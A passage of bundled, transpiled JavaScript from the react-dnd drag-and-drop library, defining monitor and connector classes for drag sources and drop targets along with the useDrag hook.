  var useIsomorphicLayoutEffect = typeof window !== 'undefined' ? React.useLayoutEffect : React.useEffect;

  function shallowEqual(objA, objB, compare, compareContext) {
    var compareResult = compare ? compare.call(compareContext, objA, objB) : void 0;

    if (compareResult !== void 0) {
      return !!compareResult;
    }

    if (objA === objB) {
      return true;
    }

    if (typeof objA !== 'object' || !objA || typeof objB !== 'object' || !objB) {
      return false;
    }

    var keysA = Object.keys(objA);
    var keysB = Object.keys(objB);

    if (keysA.length !== keysB.length) {
      return false;
    }

    var bHasOwnProperty = Object.prototype.hasOwnProperty.bind(objB); // Test for A's keys different from B.

    for (var idx = 0; idx < keysA.length; idx++) {
      var key = keysA[idx];

      if (!bHasOwnProperty(key)) {
        return false;
      }

      var valueA = objA[key];
      var valueB = objB[key];
      compareResult = compare ? compare.call(compareContext, valueA, valueB, key) : void 0;

      if (compareResult === false || compareResult === void 0 && valueA !== valueB) {
        return false;
      }
    }

    return true;
  }

  function _slicedToArray$2(arr, i) { return _arrayWithHoles$2(arr) || _iterableToArrayLimit$2(arr, i) || _unsupportedIterableToArray$2(arr, i) || _nonIterableRest$2(); }

  function _nonIterableRest$2() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray$2(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$2(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$2(o, minLen); }

  function _arrayLikeToArray$2(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit$2(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles$2(arr) { if (Array.isArray(arr)) return arr; }
  /**
   *
   * @param monitor The monitor to collect state from
   * @param collect The collecting function
   * @param onUpdate A method to invoke when updates occur
   */

  function useCollector(monitor, collect, onUpdate) {
    var _useState = React.useState(function () {
      return collect(monitor);
    }),
        _useState2 = _slicedToArray$2(_useState, 2),
        collected = _useState2[0],
        setCollected = _useState2[1];

    var updateCollected = React.useCallback(function () {
      var nextValue = collect(monitor);

      if (!shallowEqual(collected, nextValue)) {
        setCollected(nextValue);

        if (onUpdate) {
          onUpdate();
        }
      }
    }, [collected, monitor, onUpdate]); // update the collected properties after the first render
    // and the components are attached to dnd-core

    useIsomorphicLayoutEffect(updateCollected, []);
    return [collected, updateCollected];
  }

  function _slicedToArray$3(arr, i) { return _arrayWithHoles$3(arr) || _iterableToArrayLimit$3(arr, i) || _unsupportedIterableToArray$3(arr, i) || _nonIterableRest$3(); }

  function _nonIterableRest$3() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray$3(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$3(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$3(o, minLen); }

  function _arrayLikeToArray$3(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit$3(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles$3(arr) { if (Array.isArray(arr)) return arr; }
  function useMonitorOutput(monitor, collect, onCollect) {
    var _useCollector = useCollector(monitor, collect, onCollect),
        _useCollector2 = _slicedToArray$3(_useCollector, 2),
        collected = _useCollector2[0],
        updateCollected = _useCollector2[1];

    useIsomorphicLayoutEffect(function subscribeToMonitorStateChange() {
      var handlerId = monitor.getHandlerId();

      if (handlerId == null) {
        return undefined;
      }

      return monitor.subscribeToStateChange(updateCollected, {
        handlerIds: [handlerId]
      });
    }, [monitor, updateCollected]);
    return collected;
  }

  function registerTarget(type, target, manager) {
    var registry = manager.getRegistry();
    var targetId = registry.addTarget(type, target);
    return [targetId, function () {
      return registry.removeTarget(targetId);
    }];
  }
  function registerSource(type, source, manager) {
    var registry = manager.getRegistry();
    var sourceId = registry.addSource(type, source);
    return [sourceId, function () {
      return registry.removeSource(sourceId);
    }];
  }

  /**
   * A hook to retrieve the DragDropManager from Context
   */

  function useDragDropManager() {
    var _useContext = React.useContext(DndContext),
        dragDropManager = _useContext.dragDropManager;

    invariant(dragDropManager != null, 'Expected drag drop context');
    return dragDropManager;
  }

  function _classCallCheck$3(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$3(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$3(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$3(Constructor.prototype, protoProps); if (staticProps) _defineProperties$3(Constructor, staticProps); return Constructor; }
  var isCallingCanDrag = false;
  var isCallingIsDragging = false;
  var DragSourceMonitorImpl = /*#__PURE__*/function () {
    function DragSourceMonitorImpl(manager) {
      _classCallCheck$3(this, DragSourceMonitorImpl);

      this.sourceId = null;
      this.internalMonitor = manager.getMonitor();
    }

    _createClass$3(DragSourceMonitorImpl, [{
      key: "receiveHandlerId",
      value: function receiveHandlerId(sourceId) {
        this.sourceId = sourceId;
      }
    }, {
      key: "getHandlerId",
      value: function getHandlerId() {
        return this.sourceId;
      }
    }, {
      key: "canDrag",
      value: function canDrag() {
        invariant(!isCallingCanDrag, 'You may not call monitor.canDrag() inside your canDrag() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor');

        try {
          isCallingCanDrag = true;
          return this.internalMonitor.canDragSource(this.sourceId);
        } finally {
          isCallingCanDrag = false;
        }
      }
    }, {
      key: "isDragging",
      value: function isDragging() {
        if (!this.sourceId) {
          return false;
        }

        invariant(!isCallingIsDragging, 'You may not call monitor.isDragging() inside your isDragging() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor');

        try {
          isCallingIsDragging = true;
          return this.internalMonitor.isDraggingSource(this.sourceId);
        } finally {
          isCallingIsDragging = false;
        }
      }
    }, {
      key: "subscribeToStateChange",
      value: function subscribeToStateChange(listener, options) {
        return this.internalMonitor.subscribeToStateChange(listener, options);
      }
    }, {
      key: "isDraggingSource",
      value: function isDraggingSource(sourceId) {
        return this.internalMonitor.isDraggingSource(sourceId);
      }
    }, {
      key: "isOverTarget",
      value: function isOverTarget(targetId, options) {
        return this.internalMonitor.isOverTarget(targetId, options);
      }
    }, {
      key: "getTargetIds",
      value: function getTargetIds() {
        return this.internalMonitor.getTargetIds();
      }
    }, {
      key: "isSourcePublic",
      value: function isSourcePublic() {
        return this.internalMonitor.isSourcePublic();
      }
    }, {
      key: "getSourceId",
      value: function getSourceId() {
        return this.internalMonitor.getSourceId();
      }
    }, {
      key: "subscribeToOffsetChange",
      value: function subscribeToOffsetChange(listener) {
        return this.internalMonitor.subscribeToOffsetChange(listener);
      }
    }, {
      key: "canDragSource",
      value: function canDragSource(sourceId) {
        return this.internalMonitor.canDragSource(sourceId);
      }
    }, {
      key: "canDropOnTarget",
      value: function canDropOnTarget(targetId) {
        return this.internalMonitor.canDropOnTarget(targetId);
      }
    }, {
      key: "getItemType",
      value: function getItemType() {
        return this.internalMonitor.getItemType();
      }
    }, {
      key: "getItem",
      value: function getItem() {
        return this.internalMonitor.getItem();
      }
    }, {
      key: "getDropResult",
      value: function getDropResult() {
        return this.internalMonitor.getDropResult();
      }
    }, {
      key: "didDrop",
      value: function didDrop() {
        return this.internalMonitor.didDrop();
      }
    }, {
      key: "getInitialClientOffset",
      value: function getInitialClientOffset() {
        return this.internalMonitor.getInitialClientOffset();
      }
    }, {
      key: "getInitialSourceClientOffset",
      value: function getInitialSourceClientOffset() {
        return this.internalMonitor.getInitialSourceClientOffset();
      }
    }, {
      key: "getSourceClientOffset",
      value: function getSourceClientOffset() {
        return this.internalMonitor.getSourceClientOffset();
      }
    }, {
      key: "getClientOffset",
      value: function getClientOffset() {
        return this.internalMonitor.getClientOffset();
      }
    }, {
      key: "getDifferenceFromInitialOffset",
      value: function getDifferenceFromInitialOffset() {
        return this.internalMonitor.getDifferenceFromInitialOffset();
      }
    }]);

    return DragSourceMonitorImpl;
  }();

  function setRef(ref, node) {
    if (typeof ref === 'function') {
      ref(node);
    } else {
      ref.current = node;
    }
  }

  function cloneWithRef(element, newRef) {
    var previousRef = element.ref;
    invariant(typeof previousRef !== 'string', 'Cannot connect React DnD to an element with an existing string ref. ' + 'Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. ' + 'Read more: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute');

    if (!previousRef) {
      // When there is no ref on the element, use the new ref directly
      return React.cloneElement(element, {
        ref: newRef
      });
    } else {
      return React.cloneElement(element, {
        ref: function ref(node) {
          setRef(previousRef, node);
          setRef(newRef, node);
        }
      });
    }
  }

  function throwIfCompositeComponentElement(element) {
    // Custom components can no longer be wrapped directly in React DnD 2.0
    // so that we don't need to depend on findDOMNode() from react-dom.
    if (typeof element.type === 'string') {
      return;
    }

    var displayName = element.type.displayName || element.type.name || 'the component';
    throw new Error('Only native element nodes can now be passed to React DnD connectors.' + "You can either wrap ".concat(displayName, " into a <div>, or turn it into a ") + 'drag source or a drop target itself.');
  }

  function wrapHookToRecognizeElement(hook) {
    return function () {
      var elementOrNode = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null;
      var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null;

      // When passed a node, call the hook straight away.
      if (!React.isValidElement(elementOrNode)) {
        var node = elementOrNode;
        hook(node, options); // return the node so it can be chained (e.g. when within callback refs
        // <div ref={node => connectDragSource(connectDropTarget(node))}/>

        return node;
      } // If passed a ReactElement, clone it and attach this function as a ref.
      // This helps us achieve a neat API where user doesn't even know that refs
      // are being used under the hood.


      var element = elementOrNode;
      throwIfCompositeComponentElement(element); // When no options are passed, use the hook directly

      var ref = options ? function (node) {
        return hook(node, options);
      } : hook;
      return cloneWithRef(element, ref);
    };
  }

  function wrapConnectorHooks(hooks) {
    var wrappedHooks = {};
    Object.keys(hooks).forEach(function (key) {
      var hook = hooks[key]; // ref objects should be passed straight through without wrapping

      if (key.endsWith('Ref')) {
        wrappedHooks[key] = hooks[key];
      } else {
        var wrappedHook = wrapHookToRecognizeElement(hook);

        wrappedHooks[key] = function () {
          return wrappedHook;
        };
      }
    });
    return wrappedHooks;
  }

  function _typeof$2(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$2 = function _typeof(obj) { return typeof obj; }; } else { _typeof$2 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$2(obj); }

  function isRef(obj) {
    return (// eslint-disable-next-line no-prototype-builtins
      obj !== null && _typeof$2(obj) === 'object' && Object.prototype.hasOwnProperty.call(obj, 'current')
    );
  }

  function _classCallCheck$4(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$4(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$4(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$4(Constructor.prototype, protoProps); if (staticProps) _defineProperties$4(Constructor, staticProps); return Constructor; }
  var SourceConnector = /*#__PURE__*/function () {
    function SourceConnector(backend) {
      var _this = this;

      _classCallCheck$4(this, SourceConnector);

      this.hooks = wrapConnectorHooks({
        dragSource: function dragSource(node, options) {
          _this.clearDragSource();

          _this.dragSourceOptions = options || null;

          if (isRef(node)) {
            _this.dragSourceRef = node;
          } else {
            _this.dragSourceNode = node;
          }

          _this.reconnectDragSource();
        },
        dragPreview: function dragPreview(node, options) {
          _this.clearDragPreview();

          _this.dragPreviewOptions = options || null;

          if (isRef(node)) {
            _this.dragPreviewRef = node;
          } else {
            _this.dragPreviewNode = node;
          }

          _this.reconnectDragPreview();
        }
      });
      this.handlerId = null; // The drop target may either be attached via ref or connect function

      this.dragSourceRef = null;
      this.dragSourceOptionsInternal = null; // The drag preview may either be attached via ref or connect function

      this.dragPreviewRef = null;
      this.dragPreviewOptionsInternal = null;
      this.lastConnectedHandlerId = null;
      this.lastConnectedDragSource = null;
      this.lastConnectedDragSourceOptions = null;
      this.lastConnectedDragPreview = null;
      this.lastConnectedDragPreviewOptions = null;
      this.backend = backend;
    }

    _createClass$4(SourceConnector, [{
      key: "receiveHandlerId",
      value: function receiveHandlerId(newHandlerId) {
        if (this.handlerId === newHandlerId) {
          return;
        }

        this.handlerId = newHandlerId;
        this.reconnect();
      }
    }, {
      key: "reconnect",
      value: function reconnect() {
        this.reconnectDragSource();
        this.reconnectDragPreview();
      }
    }, {
      key: "reconnectDragSource",
      value: function reconnectDragSource() {
        var dragSource = this.dragSource; // if nothing has changed then don't resubscribe

        var didChange = this.didHandlerIdChange() || this.didConnectedDragSourceChange() || this.didDragSourceOptionsChange();

        if (didChange) {
          this.disconnectDragSource();
        }

        if (!this.handlerId) {
          return;
        }

        if (!dragSource) {
          this.lastConnectedDragSource = dragSource;
          return;
        }

        if (didChange) {
          this.lastConnectedHandlerId = this.handlerId;
          this.lastConnectedDragSource = dragSource;
          this.lastConnectedDragSourceOptions = this.dragSourceOptions;
          this.dragSourceUnsubscribe = this.backend.connectDragSource(this.handlerId, dragSource, this.dragSourceOptions);
        }
      }
    }, {
      key: "reconnectDragPreview",
      value: function reconnectDragPreview() {
        var dragPreview = this.dragPreview; // if nothing has changed then don't resubscribe

        var didChange = this.didHandlerIdChange() || this.didConnectedDragPreviewChange() || this.didDragPreviewOptionsChange();

        if (didChange) {
          this.disconnectDragPreview();
        }

        if (!this.handlerId) {
          return;
        }

        if (!dragPreview) {
          this.lastConnectedDragPreview = dragPreview;
          return;
        }

        if (didChange) {
          this.lastConnectedHandlerId = this.handlerId;
          this.lastConnectedDragPreview = dragPreview;
          this.lastConnectedDragPreviewOptions = this.dragPreviewOptions;
          this.dragPreviewUnsubscribe = this.backend.connectDragPreview(this.handlerId, dragPreview, this.dragPreviewOptions);
        }
      }
    }, {
      key: "didHandlerIdChange",
      value: function didHandlerIdChange() {
        return this.lastConnectedHandlerId !== this.handlerId;
      }
    }, {
      key: "didConnectedDragSourceChange",
      value: function didConnectedDragSourceChange() {
        return this.lastConnectedDragSource !== this.dragSource;
      }
    }, {
      key: "didConnectedDragPreviewChange",
      value: function didConnectedDragPreviewChange() {
        return this.lastConnectedDragPreview !== this.dragPreview;
      }
    }, {
      key: "didDragSourceOptionsChange",
      value: function didDragSourceOptionsChange() {
        return !shallowEqual(this.lastConnectedDragSourceOptions, this.dragSourceOptions);
      }
    }, {
      key: "didDragPreviewOptionsChange",
      value: function didDragPreviewOptionsChange() {
        return !shallowEqual(this.lastConnectedDragPreviewOptions, this.dragPreviewOptions);
      }
    }, {
      key: "disconnectDragSource",
      value: function disconnectDragSource() {
        if (this.dragSourceUnsubscribe) {
          this.dragSourceUnsubscribe();
          this.dragSourceUnsubscribe = undefined;
        }
      }
    }, {
      key: "disconnectDragPreview",
      value: function disconnectDragPreview() {
        if (this.dragPreviewUnsubscribe) {
          this.dragPreviewUnsubscribe();
          this.dragPreviewUnsubscribe = undefined;
          this.dragPreviewNode = null;
          this.dragPreviewRef = null;
        }
      }
    }, {
      key: "clearDragSource",
      value: function clearDragSource() {
        this.dragSourceNode = null;
        this.dragSourceRef = null;
      }
    }, {
      key: "clearDragPreview",
      value: function clearDragPreview() {
        this.dragPreviewNode = null;
        this.dragPreviewRef = null;
      }
    }, {
      key: "connectTarget",
      get: function get() {
        return this.dragSource;
      }
    }, {
      key: "dragSourceOptions",
      get: function get() {
        return this.dragSourceOptionsInternal;
      },
      set: function set(options) {
        this.dragSourceOptionsInternal = options;
      }
    }, {
      key: "dragPreviewOptions",
      get: function get() {
        return this.dragPreviewOptionsInternal;
      },
      set: function set(options) {
        this.dragPreviewOptionsInternal = options;
      }
    }, {
      key: "dragSource",
      get: function get() {
        return this.dragSourceNode || this.dragSourceRef && this.dragSourceRef.current;
      }
    }, {
      key: "dragPreview",
      get: function get() {
        return this.dragPreviewNode || this.dragPreviewRef && this.dragPreviewRef.current;
      }
    }]);

    return SourceConnector;
  }();

  function _slicedToArray$4(arr, i) { return _arrayWithHoles$4(arr) || _iterableToArrayLimit$4(arr, i) || _unsupportedIterableToArray$4(arr, i) || _nonIterableRest$4(); }

  function _nonIterableRest$4() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray$4(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$4(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$4(o, minLen); }

  function _arrayLikeToArray$4(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit$4(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles$4(arr) { if (Array.isArray(arr)) return arr; }

  function _typeof$3(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$3 = function _typeof(obj) { return typeof obj; }; } else { _typeof$3 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$3(obj); }
  function useDragSourceMonitor() {
    var manager = useDragDropManager();
    var monitor = React.useMemo(function () {
      return new DragSourceMonitorImpl(manager);
    }, [manager]);
    var connector = React.useMemo(function () {
      return new SourceConnector(manager.getBackend());
    }, [manager]);
    return [monitor, connector];
  }
  function useDragHandler(spec, monitor, connector) {
    var manager = useDragDropManager();
    var handler = React.useMemo(function () {
      return {
        beginDrag: function beginDrag() {
          var _spec$current = spec.current,
              begin = _spec$current.begin,
              item = _spec$current.item;

          if (begin) {
            var beginResult = begin(monitor);
            invariant(beginResult == null || _typeof$3(beginResult) === 'object', 'dragSpec.begin() must either return an object, undefined, or null');
            return beginResult || item || {};
          }

          return item || {};
        },
        canDrag: function canDrag() {
          if (typeof spec.current.canDrag === 'boolean') {
            return spec.current.canDrag;
          } else if (typeof spec.current.canDrag === 'function') {
            return spec.current.canDrag(monitor);
          } else {
            return true;
          }
        },
        isDragging: function isDragging(globalMonitor, target) {
          var isDragging = spec.current.isDragging;
          return isDragging ? isDragging(monitor) : target === globalMonitor.getSourceId();
        },
        endDrag: function endDrag() {
          var end = spec.current.end;

          if (end) {
            end(monitor.getItem(), monitor);
          }

          connector.reconnect();
        }
      };
    }, []);
    useIsomorphicLayoutEffect(function registerHandler() {
      var _registerSource = registerSource(spec.current.item.type, handler, manager),
          _registerSource2 = _slicedToArray$4(_registerSource, 2),
          handlerId = _registerSource2[0],
          unregister = _registerSource2[1];

      monitor.receiveHandlerId(handlerId);
      connector.receiveHandlerId(handlerId);
      return unregister;
    }, []);
  }

  function _slicedToArray$5(arr, i) { return _arrayWithHoles$5(arr) || _iterableToArrayLimit$5(arr, i) || _unsupportedIterableToArray$5(arr, i) || _nonIterableRest$5(); }

  function _nonIterableRest$5() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray$5(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$5(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$5(o, minLen); }

  function _arrayLikeToArray$5(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit$5(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles$5(arr) { if (Array.isArray(arr)) return arr; }
  /**
   * useDragSource hook
   * @param sourceSpec The drag source specification *
   */

  function useDrag(spec) {
    var specRef = React.useRef(spec);
    specRef.current = spec; // TODO: wire options into createSourceConnector

    invariant(spec.item != null, 'item must be defined');
    invariant(spec.item.type != null, 'item type must be defined');

    var _useDragSourceMonitor = useDragSourceMonitor(),
        _useDragSourceMonitor2 = _slicedToArray$5(_useDragSourceMonitor, 2),
        monitor = _useDragSourceMonitor2[0],
        connector = _useDragSourceMonitor2[1];

    useDragHandler(specRef, monitor, connector);
    var result = useMonitorOutput(monitor, specRef.current.collect || function () {
      return {};
    }, function () {
      return connector.reconnect();
    });
    var connectDragSource = React.useMemo(function () {
      return connector.hooks.dragSource();
    }, [connector]);
    var connectDragPreview = React.useMemo(function () {
      return connector.hooks.dragPreview();
    }, [connector]);
    useIsomorphicLayoutEffect(function () {
      connector.dragSourceOptions = specRef.current.options || null;
      connector.reconnect();
    }, [connector]);
    useIsomorphicLayoutEffect(function () {
      connector.dragPreviewOptions = specRef.current.previewOptions || null;
      connector.reconnect();
    }, [connector]);
    return [result, connectDragSource, connectDragPreview];
  }

  function _classCallCheck$5(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$5(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$5(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$5(Constructor.prototype, protoProps); if (staticProps) _defineProperties$5(Constructor, staticProps); return Constructor; }
  var TargetConnector = /*#__PURE__*/function () {
    function TargetConnector(backend) {
      var _this = this;

      _classCallCheck$5(this, TargetConnector);

      this.hooks = wrapConnectorHooks({
        dropTarget: function dropTarget(node, options) {
          _this.clearDropTarget();

          _this.dropTargetOptions = options;

          if (isRef(node)) {
            _this.dropTargetRef = node;
          } else {
            _this.dropTargetNode = node;
          }

          _this.reconnect();
        }
      });
      this.handlerId = null; // The drop target may either be attached via ref or connect function

      this.dropTargetRef = null;
      this.dropTargetOptionsInternal = null;
      this.lastConnectedHandlerId = null;
      this.lastConnectedDropTarget = null;
      this.lastConnectedDropTargetOptions = null;
      this.backend = backend;
    }

    _createClass$5(TargetConnector, [{
      key: "reconnect",
      value: function reconnect() {
        // if nothing has changed then don't resubscribe
        var didChange = this.didHandlerIdChange() || this.didDropTargetChange() || this.didOptionsChange();

        if (didChange) {
          this.disconnectDropTarget();
        }

        var dropTarget = this.dropTarget;

        if (!this.handlerId) {
          return;
        }

        if (!dropTarget) {
          this.lastConnectedDropTarget = dropTarget;
          return;
        }

        if (didChange) {
          this.lastConnectedHandlerId = this.handlerId;
          this.lastConnectedDropTarget = dropTarget;
          this.lastConnectedDropTargetOptions = this.dropTargetOptions;
          this.unsubscribeDropTarget = this.backend.connectDropTarget(this.handlerId, dropTarget, this.dropTargetOptions);
        }
      }
    }, {
      key: "receiveHandlerId",
      value: function receiveHandlerId(newHandlerId) {
        if (newHandlerId === this.handlerId) {
          return;
        }

        this.handlerId = newHandlerId;
        this.reconnect();
      }
    }, {
      key: "didHandlerIdChange",
      value: function didHandlerIdChange() {
        return this.lastConnectedHandlerId !== this.handlerId;
      }
    }, {
      key: "didDropTargetChange",
      value: function didDropTargetChange() {
        return this.lastConnectedDropTarget !== this.dropTarget;
      }
    }, {
      key: "didOptionsChange",
      value: function didOptionsChange() {
        return !shallowEqual(this.lastConnectedDropTargetOptions, this.dropTargetOptions);
      }
    }, {
      key: "disconnectDropTarget",
      value: function disconnectDropTarget() {
        if (this.unsubscribeDropTarget) {
          this.unsubscribeDropTarget();
          this.unsubscribeDropTarget = undefined;
        }
      }
    }, {
      key: "clearDropTarget",
      value: function clearDropTarget() {
        this.dropTargetRef = null;
        this.dropTargetNode = null;
      }
    }, {
      key: "connectTarget",
      get: function get() {
        return this.dropTarget;
      }
    }, {
      key: "dropTargetOptions",
      get: function get() {
        return this.dropTargetOptionsInternal;
      },
      set: function set(options) {
        this.dropTargetOptionsInternal = options;
      }
    }, {
      key: "dropTarget",
      get: function get() {
        return this.dropTargetNode || this.dropTargetRef && this.dropTargetRef.current;
      }
    }]);

    return TargetConnector;
  }();

  function _classCallCheck$6(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$6(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$6(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$6(Constructor.prototype, protoProps); if (staticProps) _defineProperties$6(Constructor, staticProps); return Constructor; }
  var isCallingCanDrop = false;
  var DropTargetMonitorImpl = /*#__PURE__*/function () {
    function DropTargetMonitorImpl(manager) {
      _classCallCheck$6(this, DropTargetMonitorImpl);

      this.targetId = null;
      this.internalMonitor = manager.getMonitor();
    }

    _createClass$6(DropTargetMonitorImpl, [{
      key: "receiveHandlerId",
      value: function receiveHandlerId(targetId) {
        this.targetId = targetId;
      }
    }, {
      key: "getHandlerId",
      value: function getHandlerId() {
        return this.targetId;
      }
    }, {
      key: "subscribeToStateChange",
      value: function subscribeToStateChange(listener, options) {
        return this.internalMonitor.subscribeToStateChange(listener, options);
      }
    }, {
      key: "canDrop",
      value: function canDrop() {
        // Cut out early if the target id has not been set. This should prevent errors
        // where the user has an older version of dnd-core like in
        // https://github.com/react-dnd/react-dnd/issues/1310
        if (!this.targetId) {
          return false;
        }

        invariant(!isCallingCanDrop, 'You may not call monitor.canDrop() inside your canDrop() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target-monitor');

        try {
          isCallingCanDrop = true;
          return this.internalMonitor.canDropOnTarget(this.targetId);
        } finally {
          isCallingCanDrop = false;
        }
      }
    }, {
      key: "isOver",
      value: function isOver(options) {
        if (!this.targetId) {
          return false;
        }

        return this.internalMonitor.isOverTarget(this.targetId, options);
      }
    }, {
      key: "getItemType",
      value: function getItemType() {
        return this.internalMonitor.getItemType();
      }
    }, {
      key: "getItem",
      value: function getItem() {
        return this.internalMonitor.getItem();
      }
    }, {
      key: "getDropResult",
      value: function getDropResult() {
        return this.internalMonitor.getDropResult();
      }
    }, {
      key: "didDrop",
      value: function didDrop() {
        return this.internalMonitor.didDrop();
      }
    }, {
      key: "getInitialClientOffset",
      value: function getInitialClientOffset() {
        return this.internalMonitor.getInitialClientOffset();
      }
    }, {
      key: "getInitialSourceClientOffset",
      value: function getInitialSourceClientOffset() {
        return this.internalMonitor.getInitialSourceClientOffset();
      }
    }, {
      key: "getSourceClientOffset",
      value: function getSourceClientOffset() {
        return this.internalMonitor.getSourceClientOffset();
      }
    }, {
      key: "getClientOffset",
      value: function getClientOffset() {
        return this.internalMonitor.getClientOffset();
      }
    }, {
      key: "getDifferenceFromInitialOffset",
      value: function getDifferenceFromInitialOffset() {
        return this.internalMonitor.getDifferenceFromInitialOffset();
      }
    }]);

    return DropTargetMonitorImpl;
  }();

